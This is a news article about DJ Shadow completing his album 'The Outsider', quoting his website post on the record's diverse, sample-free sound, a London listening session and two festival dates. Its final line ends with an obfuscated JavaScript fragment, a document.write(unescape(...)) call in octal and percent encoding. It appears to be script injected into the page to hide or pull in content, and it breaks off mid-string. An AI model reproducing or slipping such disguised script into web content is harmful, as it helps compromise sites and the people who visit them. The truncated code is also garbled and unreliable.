DJ Shadow finishes album

DJ Shadow has finished his new album 'The Outsider' - and has warned fans that it's a "risky record".

The star had already explained that the follow-up to 2002's 'The Private Press' would be "very different", but has invited fans along to hear when he hands the LP over to his record company.

Posting on his official website website djshadow.com, Shadow revealed details of the long-awaited LP, which will be out later this year.

A video for a track called '3 Freaks', which features underground rappers Keak Da Sneak and Turf Talk, was made available on Shadow's official website djshadow.com earlier this year. But Shadow insists this does not represent the sound of the new album as a whole.

"What's up everybody. The album's done," wrote Shadow. "It's being mastered next week. In fact I'm presenting it to my label this friday [May 19] in London. If anybody is in the area and wants to hear a few tunes, stop by Island Records, 364-366 High St Kensington, London W14 around 3:30pm, give or take. Maybe I'll bring a portable CD player or something. We'll figure it out.

"There's been a lot of speculation as to the vibe of the new album. Some have predicted that the whole album is in the hyphy vein like '3 Freaks'. To those people I say: RELAX YOUR BACK, YOU'VE ONLY HEARD ONE SONG. The album is very diverse, and reflects the fact that I don't fit comfortably in any one genre. My critics see that as a problem, but I don't...it's simply the way things are. I've never really fit into any one clique. That's why the album is called 'The Outsider'.

"In some ways it's a risky record. It's going to turn some people off. And I think I'll lose some fans. On the other hand, I know I'll gain some new ones. That's a fair trade in my mind. Besides I can't see playing it safe at this point in my life."

He added that the record contains no samples and "there's songs on this album that I think blow away almost anything else I've ever done".

DJ Shadow will play his first solo shows in more than three years at the 02 Wireless Festival on June 23 in London's Hyde Park and June 24 at Leeds Harewood House.

"I think the time is right to scale back and concentrate on putting a show together that highlights what I'm doing now, rather than an exhaustive retrospective," said the DJ of upcoming live shows. "Maybe after two more albums it'll be time for another super tour, but for now I think we'll keep it to a size we can all digest."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;